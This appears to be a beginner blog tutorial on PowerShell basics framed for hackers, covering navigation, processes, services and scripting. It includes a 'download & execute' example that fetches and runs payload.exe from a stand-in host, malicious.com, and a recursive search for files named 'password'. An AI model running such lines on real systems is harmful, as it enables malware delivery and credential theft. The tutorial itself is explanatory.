Back to blog

PowerShell Fundamentals for Hackers โ€” From Basics to Real-World Usage

3 min read
by CyberTrick
PowerShellCybersecurityWindowsAutomationEthicalHackingCyberTrick

PowerShell is NOT just a command line.

It is a full scripting and automation engine used heavily in:

  • System administration
  • Enterprise environments
  • Cybersecurity (both attackers and defenders)

If Linux is dominant in servers,
PowerShell dominates Windows environments.


๐Ÿง  WHAT MAKES POWERSHELL DIFFERENT

Linux โ†’ text-based output
PowerShell โ†’ object-based output

This is the biggest difference.

Commands return OBJECTS, not plain text.

That means:
You can filter, modify, and manipulate data easily.


โš™๏ธ BASIC COMMAND STRUCTURE

PowerShell uses:

Verb-Noun format

Examples:

POWERSHELL
Get-Process
Get-Service
Get-ChildItem

๐Ÿง  COMMON VERBS

  • Get โ†’ retrieve
  • Set โ†’ modify
  • Start โ†’ run
  • Stop โ†’ stop
  • New โ†’ create
  • Remove โ†’ delete

๐Ÿ“‚ NAVIGATION & FILE SYSTEM

Current directory:

POWERSHELL
pwd

List files:

POWERSHELL
Get-ChildItem
ls

Change directory:

POWERSHELL
cd C:\Users

๐Ÿ“ CREATE / DELETE FILES

POWERSHELL
New-Item file.txt
Remove-Item file.txt

๐Ÿ“„ VIEW CONTENT

POWERSHELL
Get-Content file.txt

๐Ÿ“ฆ PIPELINE (VERY POWERFUL)

PowerShell pipeline passes OBJECTS:

POWERSHELL
command1 | command2

Example:

POWERSHELL
Get-Process | Where-Object {$_.CPU -gt 100}

๐Ÿง  WHAT IS $_ ?

Represents current object in pipeline.


๐Ÿ” FILTERING & SEARCHING

Filter processes:

POWERSHELL
Get-Process | Where-Object {$_.ProcessName -like "*chrome*"}

Search files:

POWERSHELL
Get-ChildItem -Recurse | Where-Object {$_.Name -like "*password*"}

๐Ÿ“Š PROCESS MANAGEMENT

List processes:

POWERSHELL
Get-Process

Stop process:

POWERSHELL
Stop-Process -Name chrome
Stop-Process -Id 1234

๐Ÿง  REAL USE CASE

  • Kill malicious processes
  • Monitor suspicious activity

๐Ÿ“ฆ SERVICES

List services:

POWERSHELL
Get-Service

Start service:

POWERSHELL
Start-Service sshd

Stop service:

POWERSHELL
Stop-Service sshd

๐Ÿ‘ค USERS & SYSTEM INFO

Current user:

POWERSHELL
whoami

System info:

POWERSHELL
Get-ComputerInfo

Environment variables:

POWERSHELL
Get-ChildItem Env:

๐ŸŒ NETWORKING

Check connections:

POWERSHELL
Get-NetTCPConnection

Test connection:

POWERSHELL
Test-Connection google.com

Check IP:

POWERSHELL
ipconfig

๐Ÿงช SCRIPTING BASICS

Create script:

script.ps1

Example:

POWERSHELL
Write-Output "Hello CyberTrick"

Run script:

POWERSHELL
.\script.ps1

๐Ÿšจ EXECUTION POLICY

PowerShell blocks scripts by default.

Allow scripts:

POWERSHELL
Set-ExecutionPolicy RemoteSigned

โšก USEFUL COMMANDS (REAL WORLD)

Download file:

POWERSHELL
Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "file.exe"

Execute command remotely:

POWERSHELL
Invoke-Command

Run external program:

POWERSHELL
Start-Process notepad.exe

๐Ÿง  AUTOMATION

Loop example:

POWERSHELL
for ($i=0; $i -lt 5; $i++) {
    Write-Output $i
}

๐Ÿงช CYBERSECURITY USE CASES

PowerShell is heavily used for:

  • Post-exploitation
  • Lateral movement
  • Persistence
  • Automation of attacks

๐Ÿ”ฅ EXAMPLE (DOWNLOAD & EXECUTE)

POWERSHELL
Invoke-WebRequest -Uri "http://malicious.com/payload.exe" -OutFile "payload.exe"
Start-Process payload.exe

๐Ÿšจ DEFENSIVE SIDE (VERY IMPORTANT)

PowerShell is also used for:

  • Incident response
  • Log analysis
  • Threat detection

๐Ÿ“œ LOGGING & MONITORING

PowerShell logs activity.

Important for detecting attacks.


๐Ÿง  ENUMERATION MINDSET (WINDOWS)

When inside a system:

POWERSHELL
whoami
Get-Process
Get-Service
Get-ChildItem
Get-NetTCPConnection

Ask yourself:

  • What can I access?
  • What is running?
  • What can I abuse?

๐Ÿšจ COMMON BEGINNER MISTAKES

  • Treating PowerShell like CMD
  • Ignoring object-based pipeline
  • Running scripts without understanding
  • Disabling security blindly

๐Ÿ”ฅ FINAL MESSAGE

PowerShell is one of the most powerful tools in Windows.

If you master it:

๐Ÿ‘‰ You control the system.